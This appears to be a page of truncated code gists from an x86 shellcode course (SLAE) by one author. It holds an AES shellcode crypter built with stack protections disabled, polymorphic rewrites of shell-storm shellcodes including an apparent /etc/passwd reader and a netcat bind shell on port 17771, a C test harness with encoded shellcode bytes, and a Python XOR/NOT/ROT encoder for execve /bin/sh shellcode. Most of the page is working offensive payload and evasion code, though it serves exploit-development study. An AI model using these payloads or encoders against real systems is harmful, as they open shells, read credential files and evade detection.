This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Compile using the following command: | |
$gcc aes_128_crypter.c -o aes_128_crypter -lmcrypt -fno-stack-protector -z execstack | |
Author: Nipun Jaswal (SLAE-1080) | |
*/ | |
#include <stdio.h> | |
#include <string.h> | |
#include <mcrypt.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;http://shell-storm.org/shellcode/files/shellcode-575.php | |
;Author: Nipun Jaswal (SLAE-1080) | |
global _start | |
section .text | |
_start: | |
xchg esi, eax ; Zero to EAX | |
mov al, 0xb ; Mov Instead of PUSH | |
;push byte +0xb | |
;pop eax |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; http://shell-storm.org/shellcode/files/shellcode-872.php | |
; Author: Nipun Jaswal (SLAE-1080) | |
global _start | |
section .text | |
_start: | |
; xor eax, eax | |
xor edx, edx ; Cleared EDX | |
mul edx ; Cleared EAX | |
; push eax |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Polymorphic Version of /bin/cat Shellcode from http://shell-storm.org/shellcode/files/shellcode-571.php | |
; Author: Nipun Jaswal | |
global _start | |
section .text | |
_start: | |
; xor eax,eax | |
xor ecx,ecx ; Clearing out ECX |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _start | |
section .text | |
_start: | |
xor eax, eax | |
xor edx, edx | |
push eax | |
push 0x31373737 ;-vp17771 | |
push 0x3170762d | |
mov esi, esp |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
00000000 31C9 xor ecx,ecx | |
00000002 89CB mov ebx,ecx | |
00000004 6A46 push byte +0x46 | |
00000006 58 pop eax | |
00000007 CD80 int 0x80 | |
00000009 6A05 push byte +0x5 | |
0000000B 58 pop eax | |
0000000C 31C9 xor ecx,ecx | |
0000000E 51 push ecx | |
0000000F 6873737764 push dword 0x64777373 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<string.h> | |
unsigned char shellcode[] = \ | |
"\xeb\x2c\x5e\x31\xc9\xb1\x19\x80\x3e\x83" | |
"\x7c\x0d\x80\x2e\x83\xf6\x16\x80\x36\xcf" | |
"\x80\x36\xaa\xeb\x10\x31\xd2\xb2\x83\x2a" | |
"\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88" | |
"\x1e\x46\xe2\xdb\xeb\x05\xe8\xcf\xff\xff" | |
"\xff\x2e\xdd\x4d\x75\x38\x38\x6c\x75\x75" | |
"\x38\x7b\x76\x77\x96\xfc\x4d\x96\xfb\x4c" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ROT NOT XOR XOR Decoder | |
; Author: Nipun Jaswal | |
; SLAE-ID: 1080 | |
global _start | |
section .text | |
_start: | |
jmp short call_decoder ; JUMP - CALL - POP Sequence Starts |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Multi Encoder | |
# Uses : XOR ---> XOR ---> NOT ---> ROT | |
# By: Nipun Jaswal ; SLAE-1080 | |
# EXECVE /bin/sh Shellcode | |
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") | |
# Configure ROT Shifts | |
n = 131 #ROT Shift |